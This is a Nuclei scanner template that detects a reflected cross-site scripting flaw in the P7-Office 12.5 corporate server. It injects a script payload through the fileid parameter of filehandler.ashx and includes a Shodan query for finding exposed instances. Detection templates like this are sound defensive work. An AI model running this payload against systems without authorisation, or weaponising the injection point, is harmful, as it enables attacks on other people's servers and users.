id: p7-office-xss

info:
  name: Р7-Office 12.5 - Cross-Site Scripting
  author: 0xpugal
  severity: medium
  description: |
    A failure to implement proper measures to protect the structure of the web page in the P7-Office corporate server could have allowed a remote attacker to perform a cross-site scripting (XSS) attack.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://bdu.fstec.ru/vul/2024-04635
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Р7-Офис"
  tags: p7office,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Products/Files/HttpHandlers/filehandler.ashx?action=thumb&fileid=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Can not convert id:'
          - '<script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100de042a128de17dff1302c2bc41f99b87f939194d3548b0b39fbc6db66da6bf27022002e8a9b423936873a4cf9f5905325ad5360634681e255eb8b64f89682df9cc29:922c64590222798bb761d5b6d8e72950